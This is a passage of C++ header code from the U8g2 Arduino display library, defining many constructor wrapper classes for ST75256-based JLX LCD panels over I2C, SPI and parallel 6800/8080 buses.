reset); } }; class U8G2_ST75256_JLX256160M_2_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160M_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160m_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX256160M_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160M_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160m_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX256160_ALT_2_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX256160_ALT_2_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX256160_ALT_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160_alt_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX256160_F_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX256160_F_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX256160_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX256160M_F_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160M_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160m_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX256160M_F_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160M_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160m_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX256160M_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160M_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160m_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX256160_ALT_F_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX256160_ALT_F_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX256160_ALT_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX256160_ALT_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx256160_alt_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX240160_1_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX240160_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX240160_1_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX240160_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX240160_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX240160_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX240160_1_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX240160_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX240160_1_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX240160_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX240160_1_6800 : public U8G2 { public: U8G2_ST75256_JLX240160_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX240160_1_8080 : public U8G2 { public: U8G2_ST75256_JLX240160_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX240160_2_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX240160_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX240160_2_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX240160_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX240160_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX240160_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX240160_2_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX240160_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX240160_2_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX240160_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX240160_2_6800 : public U8G2 { public: U8G2_ST75256_JLX240160_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX240160_2_8080 : public U8G2 { public: U8G2_ST75256_JLX240160_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX240160_F_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX240160_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX240160_F_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX240160_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX240160_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX240160_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX240160_F_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX240160_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX240160_F_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX240160_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX240160_F_6800 : public U8G2 { public: U8G2_ST75256_JLX240160_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX240160_F_8080 : public U8G2 { public: U8G2_ST75256_JLX240160_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx240160_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX240160_1_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX240160_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx240160_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX240160_1_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX240160_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx240160_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX240160_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX240160_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx240160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX240160_2_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX240160_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx240160_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX240160_2_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX240160_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx240160_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX240160_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX240160_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx240160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX240160_F_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX240160_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx240160_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX240160_F_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX240160_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx240160_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX240160_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX240160_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx240160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX25664_1_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX25664_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX25664_1_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX25664_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX25664_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX25664_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX25664_1_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX25664_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX25664_1_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX25664_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX25664_1_6800 : public U8G2 { public: U8G2_ST75256_JLX25664_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX25664_1_8080 : public U8G2 { public: U8G2_ST75256_JLX25664_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX25664_2_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX25664_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX25664_2_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX25664_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX25664_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX25664_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX25664_2_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX25664_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX25664_2_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX25664_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX25664_2_6800 : public U8G2 { public: U8G2_ST75256_JLX25664_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX25664_2_8080 : public U8G2 { public: U8G2_ST75256_JLX25664_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX25664_F_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX25664_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx25664_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX25664_F_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX25664_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { 